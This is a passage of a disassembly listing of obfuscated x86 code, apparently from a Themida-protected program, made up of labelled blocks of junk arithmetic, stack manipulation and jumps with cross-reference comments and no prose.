; ---------------------------------------------------------------------------


loc_5A6AAE:				; CODE XREF: Themida_:005A47B1j
		push	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ecx
		push	ecx
		jmp	loc_5A5252
; ---------------------------------------------------------------------------


loc_5A6AC0:				; CODE XREF: Themida_:005ABC94j
		push	eax
		mov	eax, 2E23690Ch
		shl	eax, 8
		jnp	loc_59F2FF
		sub	eax, 0C85A3Bh
		jz	loc_5AD65B
		shr	eax, 4
		add	eax, 54140BB8h
		inc	eax
		jl	loc_5A30FF
		push	edi
		mov	edi, 0D9F9135Bh
		jmp	loc_5A4C75
; ---------------------------------------------------------------------------


loc_5A6AF4:				; CODE XREF: Themida_:005A7B9Fj
		mov	edi, [esp]
		add	esp, 4
		push	0
		sub	[esp], eax
		mov	eax, [esp]
		add	esp, 4
		or	eax, 6A0F32A5h
		dec	eax
		not	eax
		jmp	loc_5A577D
; ---------------------------------------------------------------------------


loc_5A6B15:				; CODE XREF: Themida_:005A55CFj
		push	eax
		push	ebx
		jmp	loc_5A6BFA
; ---------------------------------------------------------------------------


loc_5A6B1C:				; CODE XREF: Themida_:0059CE2Fj
		and	eax, ebp
		jmp	loc_5A6852
; ---------------------------------------------------------------------------


loc_5A6B23:				; CODE XREF: Themida_:0059A41Ej
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5AB8C5
; ---------------------------------------------------------------------------


loc_5A6B3B:				; CODE XREF: Themida_:005AAC3Ej
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59EDDE
; ---------------------------------------------------------------------------


loc_5A6B4A:				; CODE XREF: Themida_:0059CA9Bj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5ACE83
; ---------------------------------------------------------------------------


loc_5A6B55:				; CODE XREF: Themida_:005A8DE0j
		pop	ecx
		jmp	loc_59C8DF
; ---------------------------------------------------------------------------


loc_5A6B5B:				; CODE XREF: Themida_:005A5A40j
		xor	esi, 1C2DD62Ch
		add	ecx, esi
		pop	esi
		sub	esi, ecx
		pop	ecx
		sub	ebp, esi
		pop	esi
		sub	esi, 4443412Bh
		add	esi, ebp
		add	esi, 4443412Bh
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_5ACFEB
; ---------------------------------------------------------------------------


loc_5A6B89:				; CODE XREF: Themida_:00599ED3j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5AB0E0
; ---------------------------------------------------------------------------


loc_5A6B94:				; CODE XREF: Themida_:005AA0EDj
		mov	ebx, 15FD3761h
		sub	edi, ebx
		pop	ebx
		jmp	loc_5A634E
; ---------------------------------------------------------------------------


loc_5A6BA1:				; CODE XREF: Themida_:0059D21Fj
		add	esp, 4
		add	edi, edx
		push	ebp
		jmp	loc_5A98CE
; ---------------------------------------------------------------------------


loc_5A6BAF:				; CODE XREF: Themida_:0059ACDBj
		pop	eax
		jmp	loc_5A13EE
; ---------------------------------------------------------------------------


loc_5A6BB5:				; CODE XREF: Themida_:005A6E42j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ecx
		jmp	loc_59C499
; ---------------------------------------------------------------------------


loc_5A6BC1:				; CODE XREF: Themida_:005AC301j
		pop	esp
		add	ebx, 2
		xor	ebx, [esp]
		jmp	loc_5A24EB
; ---------------------------------------------------------------------------


loc_5A6BCD:				; CODE XREF: Themida_:005AA347j
		pop	eax
		add	ebp, 7CC86C23h
		shl	ebp, 4
		jmp	loc_5A8F0C
; ---------------------------------------------------------------------------


loc_5A6BDC:				; CODE XREF: Themida_:005A4EC9j
					; Themida_:005A5181j
		jmp	loc_5AEECD
; ---------------------------------------------------------------------------


loc_5A6BE1:				; CODE XREF: Themida_:0059F8CBj
		sub	bl, al
		pop	eax
		push	ecx
		mov	cl, 7Fh
		push	edx
		mov	dl, 8Bh
		sub	dl, 78h
		not	dl
		sub	dl, 0DDh
		add	dl, 6
		jmp	loc_59F89E
; ---------------------------------------------------------------------------


loc_5A6BFA:				; CODE XREF: Themida_:005A6B17j
		mov	ebx, 5FFC6A8Bh
		add	ebx, 0A0039579h
		mov	eax, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59E44B
; ---------------------------------------------------------------------------


loc_5A6C1F:				; CODE XREF: Themida_:00598DA1j
		neg	eax
		jp	loc_5AE535
		push	45F6h
		mov	[esp], edx
		push	ebp
		mov	ch, bl
		mov	bh, 0C7h


loc_5A6C34:				; CODE XREF: Themida_:005A4C5Bj
		shr	edi, 1
		not	edi
		push	ebp
		mov	ebp, 9B60971h
		not	ebp
		inc	ebp
		or	ebp, 1AFA33C7h
		sub	ebp, 0DF708685h
		xor	edi, ebp
		jmp	loc_5A3590
; ---------------------------------------------------------------------------


loc_5A6C54:				; CODE XREF: Themida_:005A7C15j
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_5AAEEE
; ---------------------------------------------------------------------------


loc_5A6C5E:				; CODE XREF: Themida_:005ABFBAj
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_59CD89
; ---------------------------------------------------------------------------


loc_5A6C74:				; CODE XREF: Themida_:005AC915j
		pop	small word ptr [edx]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A6C7C:				; CODE XREF: Themida_:005A4874j
		sub	esi, 77FC08A7h
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5A4550
; ---------------------------------------------------------------------------


loc_5A6C8E:				; CODE XREF: Themida_:005A893Dj
		sub	cl, 0FFh
		jmp	loc_5A4D3D
; ---------------------------------------------------------------------------


loc_5A6C96:				; CODE XREF: Themida_:005AF038j
		mov	ebx, edx
		pop	edx
		mov	edi, ebx
		jmp	loc_59B121
; ---------------------------------------------------------------------------


loc_5A6CA0:				; CODE XREF: Themida_:005A0135j
		mov	edx, 0BE35D3Bh
		sub	edx, 5A0A445Ch
		add	edx, 0BFD8230Dh
		add	ecx, edx
		pop	edx
		not	ecx
		push	esi
		mov	esi, 0C9D84514h
		jmp	loc_5AF62C
; ---------------------------------------------------------------------------


loc_5A6CC1:				; CODE XREF: Themida_:005A71E4j
		sub	ecx, ebp
		sub	ecx, 126D6930h
		pop	ebp
		push	ebx
		mov	ebx, 5F9517D7h
		add	[esp+8], ebx
		pop	ebx
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 5F9517D7h
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A6CF3:				; CODE XREF: Themida_:005AFC3Fj
		mov	ebp, 4E976F68h
		jmp	loc_5A2790
; ---------------------------------------------------------------------------


loc_5A6CFD:				; CODE XREF: Themida_:005A798Ej
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A6D0B:				; CODE XREF: Themida_:0059D127j
		xor	eax, 37F426AFh
		js	loc_5A3B9F
		not	eax
		shr	eax, 5
		jz	loc_5A51E2
		jmp	loc_5AC3C9
; ---------------------------------------------------------------------------


loc_5A6D26:				; CODE XREF: Themida_:005A229Fj
		xor	ecx, 0CB4AF8DCh
		or	ebp, ecx
		jmp	loc_5A64D7
; ---------------------------------------------------------------------------


loc_5A6D33:				; CODE XREF: Themida_:005AF598j
		push	dword ptr [esp]
		jmp	loc_5A8BA9
; ---------------------------------------------------------------------------


loc_5A6D3B:				; CODE XREF: Themida_:005AD384j
		sub	edi, 5BFE35E0h
		add	edi, ebp
		jmp	loc_5A45C2
; ---------------------------------------------------------------------------


loc_5A6D48:				; CODE XREF: Themida_:005A88F6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_59AD80
; ---------------------------------------------------------------------------


loc_5A6D62:				; CODE XREF: Themida_:005A14FAj
		mov	[esp], ebx
		mov	bl, 8
		push	small 2A07h
		mov	[esp], dx
		push	4E5h
		mov	[esp], ecx
		jmp	loc_5A126A
; ---------------------------------------------------------------------------


loc_5A6D7C:				; CODE XREF: Themida_:005AE0E2j
		pop	eax
		add	eax, 4
		jmp	loc_599A05
; ---------------------------------------------------------------------------


loc_5A6D87:				; CODE XREF: Themida_:0059E536j
		mov	edx, 4
		jmp	loc_5992E1
; ---------------------------------------------------------------------------


loc_5A6D91:				; CODE XREF: Themida_:005A9F45j
		add	esp, 4
		push	6AA0h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_59BB5C
; ---------------------------------------------------------------------------


loc_5A6DA5:				; CODE XREF: Themida_:005AF056j
		add	al, 56h
		pop	ebx
		push	209Ah
		mov	[esp], ecx
		push	ebx
		mov	bl, 77h
		dec	bl
		push	ecx
		mov	cl, 0C8h
		add	cl, 0DFh
		sub	bl, cl
		jmp	loc_5AAB69
; ---------------------------------------------------------------------------


loc_5A6DC2:				; CODE XREF: Themida_:005AA150j
		add	eax, 0B371528h
		mov	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		xor	eax, 22EB381Ah
		push	ebp
		mov	ebp, 0FD151533h
		add	eax, ebp
		pop	ebp
		jmp	loc_59D47A
; ---------------------------------------------------------------------------


loc_5A6DE0:				; CODE XREF: Themida_:0059FCC3j
		xchg	ebx, [esp]
		jmp	loc_5A3DB9
; ---------------------------------------------------------------------------


loc_5A6DE8:				; CODE XREF: Themida_:005AF0DEj
		sub	eax, 8CA1CA5h
		sub	eax, ebp
		add	eax, 8CA1CA5h
		sub	eax, 46ED1A0Ah
		push	edx
		jmp	loc_59B296
; ---------------------------------------------------------------------------


loc_5A6DFF:				; CODE XREF: Themida_:0059F546j
		pop	ebx
		pop	eax
		sub	al, 8Ch
		sub	al, dl
		add	al, 8Ch
		mov	dx, [esp]
		jmp	loc_59D26A
; ---------------------------------------------------------------------------


loc_5A6E10:				; CODE XREF: Themida_:005A5DC4j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 45EB5901h
		shr	ecx, 7
		jns	loc_5A47AB
		add	ecx, 0FF742950h
		jmp	loc_59F10B
; ---------------------------------------------------------------------------
		mov	[esp], ebx


loc_5A6E38:				; CODE XREF: Themida_:005AF926j
		pop	ecx
		sub	edx, ecx
		pop	ecx
		mov	dword ptr [edx], 0
		jmp	loc_5A6BB5
; ---------------------------------------------------------------------------


loc_5A6E47:				; CODE XREF: Themida_:005AEBD9j
		push	3035h
		mov	[esp], ebx
		mov	ebx, 4
		sub	ecx, 0E126966h
		add	ecx, ebx
		push	edi
		mov	edi, 25316A7Dh
		jmp	loc_59FAA8
; ---------------------------------------------------------------------------


loc_5A6E67:				; CODE XREF: Themida_:0059BB74j
					; Themida_:0059D031j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_59D48D
; ---------------------------------------------------------------------------


loc_5A6E75:				; CODE XREF: Themida_:005AE21Bj
		mov	ecx, 2
		jmp	loc_5A2BAD
; ---------------------------------------------------------------------------


loc_5A6E7F:				; CODE XREF: Themida_:005A2458j
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 2
		mov	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 501779Fh
		sub	edi, ebx
		pop	ebx
		add	edi, esi
		add	edi, 501779Fh
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59902E
; ---------------------------------------------------------------------------


loc_5A6EC6:				; CODE XREF: Themida_:005AD4C6j
		push	ecx
		mov	cl, 0A5h
		jmp	loc_5A2ADC
; ---------------------------------------------------------------------------


loc_5A6ECE:				; CODE XREF: Themida_:005A571Aj
		sub	ecx, 4CCE070Ch
		push	2
		mov	[esp], ecx
		xor	dword ptr [esp], 6E482D66h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59DFFE
; ---------------------------------------------------------------------------


loc_5A6EEC:				; CODE XREF: Themida_:0059A9CCj
		push	esi
		jmp	loc_5AB1C5
; ---------------------------------------------------------------------------


loc_5A6EF2:				; CODE XREF: Themida_:0059E590j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A0439
; ---------------------------------------------------------------------------


loc_5A6EFB:				; CODE XREF: Themida_:0059DD70j
		add	esp, 4
		add	ebx, 14771A77h
		add	ebx, 12E5514Eh
		jmp	loc_5A3128
; ---------------------------------------------------------------------------


loc_5A6F0F:				; CODE XREF: Themida_:005ABA0Ej
		xor	eax, ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59E58D
; ---------------------------------------------------------------------------


loc_5A6F1F:				; CODE XREF: Themida_:0059D104j
		sub	ebp, 6FFFBFA7h
		push	ebp
		sub	dword ptr [esp], 0EB50E4h
		jmp	loc_59AEF2
; ---------------------------------------------------------------------------


loc_5A6F32:				; DATA XREF: Themida_:005987D4o
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		jmp	loc_59C64C
; ---------------------------------------------------------------------------


loc_5A6F42:				; CODE XREF: Themida_:005A8BE5j
		add	ebx, 662674F9h
		xor	ebx, 0E1DB7EFDh
		push	ebx
		jmp	loc_5AF6E3
; ---------------------------------------------------------------------------


loc_5A6F54:				; CODE XREF: Themida_:005AA2C5j
		push	ebp
		push	10000h
		pop	ebp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5AD95D
; ---------------------------------------------------------------------------


loc_5A6F66:				; CODE XREF: Themida_:loc_5ABCA9j
		jmp	loc_5A2147
; ---------------------------------------------------------------------------


loc_5A6F6B:				; CODE XREF: Themida_:0059DF63j
		push	1C06h
		mov	[esp], esi
		push	edx
		mov	edx, 381B0598h
		sub	edx, 20948FAAh
		shr	edx, 8
		jmp	loc_59C2FC
; ---------------------------------------------------------------------------


loc_5A6F87:				; CODE XREF: Themida_:005A033Fj
		add	eax, edx
		jmp	loc_59EAD2
; ---------------------------------------------------------------------------


loc_5A6F8E:				; CODE XREF: Themida_:0059BA59j
		shr	eax, 5
		push	edi
		jmp	loc_5A9A6E
; ---------------------------------------------------------------------------


loc_5A6F97:				; CODE XREF: Themida_:005AAA10j
		mov	ecx, 4
		sub	dword ptr [esp+4], 4F413D9Eh
		add	[esp+4], ecx
		add	dword ptr [esp+4], 4F413D9Eh
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5A1B95
; ---------------------------------------------------------------------------


loc_5A6FC8:				; CODE XREF: Themida_:005AF366j
		add	ebx, 3B5B5C97h
		jmp	loc_5A9A0B
; ---------------------------------------------------------------------------


loc_5A6FD3:				; CODE XREF: Themida_:loc_5AEED4j
		and	ebp, 3EF015ADh
		jg	loc_5AAD25
		sub	ebp, 0BC0DFA67h
		or	ebp, 94D415Bh
		mov	dh, al
		pop	ebx


loc_5A6FEE:				; CODE XREF: Themida_:005A965Ej
		sub	eax, 70D81638h
		mov	ebp, [esp]
		jmp	loc_5AADCD
; ---------------------------------------------------------------------------


loc_5A6FFB:				; CODE XREF: Themida_:0059DEFDj
		push	7CD2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ebx
		push	eax
		mov	eax, 67F47844h
		push	edx
		mov	edx, 0A9F70109h
		mov	ebx, edx
		pop	edx
		add	ebx, eax
		pop	eax
		or	ebx, 9587CD0h
		xor	ebx, 19FB7DD9h
		add	esi, ebx
		jmp	loc_59EAEE
; ---------------------------------------------------------------------------


loc_5A7034:				; CODE XREF: Themida_:005A015Dj
		add	ebp, eax
		pop	eax
		sub	ebp, 5FAD6324h
		push	ebp
		jmp	loc_5AC27C
; ---------------------------------------------------------------------------


loc_5A7043:				; CODE XREF: Themida_:005A73C9j
		pop	ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_59D78E
; ---------------------------------------------------------------------------


loc_5A7050:				; CODE XREF: Themida_:005AEE23j
		add	dh, 68h
		pop	ecx
		sub	bl, dh
		pop	edx
		push	eax
		mov	ah, bl
		mov	ch, ah
		pop	eax
		jmp	loc_5A9CBC
; ---------------------------------------------------------------------------


loc_5A7062:				; CODE XREF: Themida_:00598F07j
					; Themida_:005A3064j
		push	ebx
		jmp	loc_5AD90C
; ---------------------------------------------------------------------------


loc_5A7068:				; CODE XREF: Themida_:005ADD88j
		push	edx
		push	edi
		jmp	loc_59A4C3
; ---------------------------------------------------------------------------


loc_5A706F:				; CODE XREF: Themida_:005AEBBFj
		sub	ecx, 35736CDBh
		or	ecx, 33841DC9h
		add	ecx, 5B0D6DA4h
		add	eax, 7D9D2B89h
		add	eax, 13986426h
		sub	eax, ecx
		sub	eax, 13986426h
		sub	eax, 7D9D2B89h
		pop	ecx
		push	ebx
		jmp	loc_5AF0AF
; ---------------------------------------------------------------------------


loc_5A709E:				; CODE XREF: Themida_:005A61B4j
		not	ecx
		push	edi
		jmp	loc_5A9AAC
; ---------------------------------------------------------------------------


loc_5A70A6:				; CODE XREF: Themida_:005AFB70j
		mov	dh, ch
		jmp	loc_5AC489
; ---------------------------------------------------------------------------


loc_5A70AD:				; CODE XREF: Themida_:005993A3j
		sub	al, cl
		pop	cx
		sub	bl, al
		mov	eax, [esp]
		add	esp, 4
		push	1DC2h
		mov	[esp], edx
		push	ecx
		jmp	loc_5A65D3
; ---------------------------------------------------------------------------


loc_5A70C7:				; CODE XREF: Themida_:loc_59FA4Aj
		not	ebp
		and	ebp, 702421ABh
		jmp	loc_59F969
; ---------------------------------------------------------------------------


loc_5A70D4:				; CODE XREF: Themida_:005A37C7j
		add	edx, 0B0B5E0E3h
		jmp	loc_5A3739
; ---------------------------------------------------------------------------


loc_5A70DF:				; CODE XREF: Themida_:005A95C5j
		dec	eax
		shl	eax, 6
		jmp	loc_59DFA9
; ---------------------------------------------------------------------------


loc_5A70E8:				; CODE XREF: Themida_:005A293Cj
		push	edx
		jmp	loc_5AED5A
; ---------------------------------------------------------------------------


loc_5A70EE:				; CODE XREF: Themida_:005A10DAj
		add	esp, 4
		sub	eax, 6F210CF2h
		sub	eax, 3DA24328h
		add	eax, edi
		add	eax, 3DA24328h
		add	eax, 6F210CF2h
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5B091D73h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 0FFFFFFFFh
		not	esi
		inc	esi
		jmp	loc_59BCB6
; ---------------------------------------------------------------------------


loc_5A7139:				; CODE XREF: Themida_:005A643Cj
					; Themida_:005ADE24j
		pop	esp
		and	edx, 64A41D1Fh
		push	ebp
		push	ebx
		mov	ebx, 647E6679h
		sub	ebx, 5DD329BFh
		jmp	loc_5AA00F
; ---------------------------------------------------------------------------


loc_5A7152:				; CODE XREF: Themida_:005A560Aj
		pop	esp
		mov	[esp], esi
		jmp	loc_59DA72
; ---------------------------------------------------------------------------


loc_5A715B:				; CODE XREF: Themida_:005A7581j
		mov	eax, ebx
		pop	ebx
		xor	eax, 4E347FA9h
		jns	loc_5A08A8
		jmp	loc_59F0EE
; ---------------------------------------------------------------------------
		jmp	loc_59DF26
; ---------------------------------------------------------------------------
		mov	al, dh


loc_5A7175:				; CODE XREF: Themida_:005AB7E1j
		pop	eax
		sub	al, cl
		pop	cx
		add	al, 66h
		sub	al, bl
		sub	al, 66h
		push	dx
		push	ebx
		push	eax
		jmp	loc_5A7FF7
; ---------------------------------------------------------------------------


loc_5A7189:				; CODE XREF: Themida_:005A998Fj
		movzx	ecx, al
		push	2052h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	0C2Dh
		jmp	loc_5AF7F7
; ---------------------------------------------------------------------------


loc_5A71AC:				; CODE XREF: Themida_:00599665j
		xor	edx, [esp]
		mov	esp, [esp]
		push	5C50h
		mov	[esp], ecx
		push	ebx
		jmp	loc_5A59C0
; ---------------------------------------------------------------------------


loc_5A71C0:				; CODE XREF: Themida_:005A51DDj
		pop	eax
		push	ecx
		mov	cl, 9Ch
		not	cl
		or	cl, 8Dh
		add	cl, 0D2h
		jmp	loc_5A54C8
; ---------------------------------------------------------------------------


loc_5A71D1:				; CODE XREF: Themida_:005AEBCBj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B41B
; ---------------------------------------------------------------------------


loc_5A71DC:				; CODE XREF: Themida_:005ABC37j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A71E1:				; CODE XREF: Themida_:005A8B2Cj
		mov	esp, [esp]
		jmp	loc_5A6CC1
; ---------------------------------------------------------------------------


loc_5A71E9:				; CODE XREF: Themida_:005A41DAj
		dec	cl
		jno	loc_59E4E7
		neg	cl
		jns	loc_5A7C8A
		inc	cl
		jmp	loc_5AF557
; ---------------------------------------------------------------------------


loc_5A7200:				; CODE XREF: Themida_:0059FA9Cj
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A5C5C
; ---------------------------------------------------------------------------


loc_5A721D:				; CODE XREF: Themida_:005A9481j
		mov	edx, ecx
		pop	ecx
		dec	edx
		add	edx, 61F4E6A2h
		jmp	loc_5AE73F
; ---------------------------------------------------------------------------


loc_5A722C:				; CODE XREF: Themida_:0059BCDEj
		pop	ebx
		jmp	loc_5A0C1D
; ---------------------------------------------------------------------------


loc_5A7232:				; CODE XREF: Themida_:005A5C8Bj
		add	edx, edi
		push	1087h
		mov	[esp], eax
		mov	eax, 2831021Fh
		neg	eax
		push	401Fh
		jmp	loc_59BF8C
; ---------------------------------------------------------------------------


loc_5A724D:				; CODE XREF: Themida_:0059ED27j
		sub	ecx, 0A4C1C42h
		jmp	loc_5A475F
; ---------------------------------------------------------------------------


loc_5A7258:				; CODE XREF: Themida_:005A09E1j
		mov	ch, al
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5AD4B3
; ---------------------------------------------------------------------------


loc_5A7265:				; CODE XREF: Themida_:0059B85Aj
		push	ecx
		mov	ecx, esp
		jmp	loc_5A658E
; ---------------------------------------------------------------------------


loc_5A726D:				; CODE XREF: Themida_:0059BDF8j
		or	eax, eax
		jnz	loc_59DB9D
		push	esi
		push	6BC77F23h
		mov	esi, [esp]
		push	ebp
		jmp	loc_5A509D
; ---------------------------------------------------------------------------


loc_5A7284:				; CODE XREF: Themida_:005A69A9j
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59D285
; ---------------------------------------------------------------------------


loc_5A7295:				; CODE XREF: Themida_:005A4340j
		push	esp
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		jmp	loc_5A2C03
; ---------------------------------------------------------------------------


loc_5A72AF:				; CODE XREF: Themida_:005ADB5Fj
		add	esp, 4
		sub	ebx, esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_59A240
; ---------------------------------------------------------------------------


loc_5A72C0:				; CODE XREF: Themida_:005AB4EBj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5A0CC2
; ---------------------------------------------------------------------------


loc_5A72D7:				; CODE XREF: Themida_:0059EBABj
		neg	esi
		not	esi
		push	edx
		mov	edx, 6F5D28EFh
		add	esi, edx
		jmp	loc_5ABFF0
; ---------------------------------------------------------------------------


loc_5A72E8:				; CODE XREF: Themida_:005A507Aj
		mov	ch, 0A1h
		xor	ch, ah
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	al, 0BCh
		inc	al
		sub	al, 1Dh
		jmp	loc_599FD2
; ---------------------------------------------------------------------------


loc_5A72FE:				; CODE XREF: Themida_:005AC1D7j
		shl	ebx, 3
		add	ebx, 0CE6A6F7Bh
		jmp	loc_59BA7F
; ---------------------------------------------------------------------------


loc_5A730C:				; CODE XREF: Themida_:00599702j
					; Themida_:0059E751j
		pop	edx
		jmp	loc_5AC931
; ---------------------------------------------------------------------------


loc_5A7312:				; CODE XREF: Themida_:005AB060j
		mov	esi, esp
		jmp	loc_5A829D
; ---------------------------------------------------------------------------


loc_5A7319:				; CODE XREF: Themida_:005A13FDj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 44E770EBh
		mov	ebx, ecx
		jmp	loc_59EBA1
; ---------------------------------------------------------------------------


loc_5A733D:				; CODE XREF: Themida_:005ACBBFj
		mov	ebx, 38h
		push	4B3h
		mov	[esp], ebx
		jmp	loc_5A7AB4
; ---------------------------------------------------------------------------


loc_5A734F:				; CODE XREF: Themida_:005AF8D6j
		mov	[esp], eax
		mov	eax, esi
		jmp	loc_59B431
; ---------------------------------------------------------------------------


loc_5A7359:				; CODE XREF: Themida_:005A2BEBj
		dec	ebx
		jp	loc_5A0E02
		add	ebx, 362F79C6h
		mov	edi, ebx
		pop	ebx
		jmp	loc_5ACDF7
; ---------------------------------------------------------------------------
		pop	edx


loc_5A736F:				; CODE XREF: Themida_:005AA95Dj
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_59CD60
; ---------------------------------------------------------------------------


loc_5A737C:				; CODE XREF: Themida_:005A8CE0j
		sub	ebx, 5EA10964h
		push	7B8Dh
		mov	[esp], esi
		mov	esi, 2984165Bh
		jmp	loc_5AD6F8
; ---------------------------------------------------------------------------


loc_5A7394:				; CODE XREF: Themida_:005AD1C7j
		pop	ecx
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0FFB0DC0h
		shl	esi, 4
		push	edx
		mov	edx, 734D2461h
		or	esi, edx
		jmp	loc_59FF00
; ---------------------------------------------------------------------------


loc_5A73B1:				; CODE XREF: Themida_:0059C21Ej
		mov	dl, bl
		push	eax
		push	ebx
		mov	bl, dl
		mov	ah, bl
		jmp	loc_5AA04C
; ---------------------------------------------------------------------------


loc_5A73BE:				; CODE XREF: Themida_:005A762Aj
		mov	edi, [esp]
		add	esp, 4
		add	ebx, ebp
		jmp	loc_5A7043
; ---------------------------------------------------------------------------


loc_5A73CE:				; CODE XREF: Themida_:0059E3ECj
		add	esi, 2942788Dh
		sub	esi, 5D0740DEh
		push	5766h
		mov	[esp], edx
		mov	edx, 0CC6EEDCFh
		jmp	loc_59ADEC
; ---------------------------------------------------------------------------


loc_5A73EC:				; DATA XREF: Themida_:005988F4o
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A1015
; ---------------------------------------------------------------------------


loc_5A73FA:				; CODE XREF: Themida_:0059CFEDj
		push	ebp
		push	edi
		mov	edi, 20EB552Bh
		mov	ebp, edi
		pop	edi
		sub	ebp, 11426D74h
		add	ebp, 65631F6Fh
		push	edx
		mov	edx, 21303F52h
		shl	edx, 1
		dec	edx
		add	edx, 0FC0335EFh
		jmp	loc_5ACF8D
; ---------------------------------------------------------------------------


loc_5A7424:				; CODE XREF: Themida_:005A4686j
		xor	edi, 52066475h
		mov	ecx, edi
		jmp	loc_5AC83E
; ---------------------------------------------------------------------------


loc_5A7431:				; CODE XREF: Themida_:loc_5A5985j
		push	ebx
		mov	ebx, 343D51B1h
		shl	ebx, 7
		add	ebx, 41DA3701h
		jmp	loc_5A5C57
; ---------------------------------------------------------------------------


loc_5A7445:				; CODE XREF: Themida_:005AD3C9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	0EAh
		jmp	loc_5AFD80
; ---------------------------------------------------------------------------


loc_5A7458:				; CODE XREF: Themida_:005AE0D0j
		add	edx, 0C92032E3h
		jmp	loc_5A54EC
; ---------------------------------------------------------------------------


loc_5A7463:				; CODE XREF: Themida_:005AA9CBj
		push	esi
		mov	esi, 2D2521EBh
		push	ebp
		mov	ebp, 2526775Bh
		add	ebx, 214A5A67h
		jmp	loc_5AF0A1
; ---------------------------------------------------------------------------


loc_5A747A:				; CODE XREF: Themida_:0059C35Fj
		xchg	ecx, [esp]
		pop	esp
		push	71A5h
		jmp	loc_5A9965
; ---------------------------------------------------------------------------


loc_5A7488:				; CODE XREF: Themida_:005A0685j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 46200775h
		neg	edx
		neg	edx
		and	edx, 3E8D0B30h
		jmp	loc_59DF26
; ---------------------------------------------------------------------------


loc_5A74AB:				; CODE XREF: Themida_:00598BE8j
		add	esi, 443A4088h
		add	ecx, 254E24A6h
		add	ecx, esi
		sub	ecx, 254E24A6h
		pop	esi
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_5AE5F4
; ---------------------------------------------------------------------------


loc_5A74C9:				; CODE XREF: Themida_:005AE074j
		sub	esi, ecx
		pop	ecx
		add	esi, ebx
		jmp	loc_59DD0C
; ---------------------------------------------------------------------------


loc_5A74D3:				; CODE XREF: Themida_:005A7F3Bj
		shl	ebx, 2
